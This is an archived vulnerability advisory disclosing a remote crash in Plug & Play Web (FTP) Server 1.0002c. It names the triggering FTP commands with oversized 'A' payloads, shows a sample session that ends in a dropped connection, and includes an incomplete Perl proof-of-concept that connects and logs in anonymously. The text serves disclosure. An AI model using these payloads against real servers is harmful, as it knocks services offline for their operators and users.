Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Web :: Servers :: bt1123.txt

Denial Of Service in Plug & Play Web (FTP) Server

Denial Of Service in Plug & Play Web (FTP) Server



"The Plug and Play Web Server provides all of the tools you need to host your own website. The tools are bundled together in one comprehensive software package that it is incredibly easy to use and maintain."

- Vendors Description

   [ ]



Vulnerable systems: Plug & Play Web Server version 1.0002c

A vulnerability has been identified in Plug & Play Web (FTP) server V1.0002c, which allows malicious users to remotely crash the server. By connecting to the server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD) followed by large amounts of data, the server crashes.

dir [Ax509]

ls [Ax509]

delete [Ax509]

mkdir [Ax509]

DELE [Ax509]

RMD [Ax509]

MKD [Ax509]



ftp> o

Connected to

220 Plug and Play Web Server V1.0

User ( anonymous

331 Password required for anonymous


230 User anonymous logged in


200 PORT command successful

Connection closed by remote host.

ftp> o

> ftp: connect :Unknown error number



Vendor status:


The vendor has been informed, and they are fixing this bug.

The updated version, when released, can be downloaded from:




# - Remote denial of service against Plug & Play FTP server

use Net::FTP;

$host = $ARGV[0];


if("$ARGV[0]" eq "") {

	print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");

        print(" -\n");


	die("Usage : ./PPftpdos <host\/ip>\n");

} else {	

	print("Connecting to $host...\n");

	my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";


        $username = "anonymous";

        $password = "anonymous";

        $ftp->login($username, $password)

        or die "Could not log in.\n";





Discovered by/Credit:


Bahaa Naamneh

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH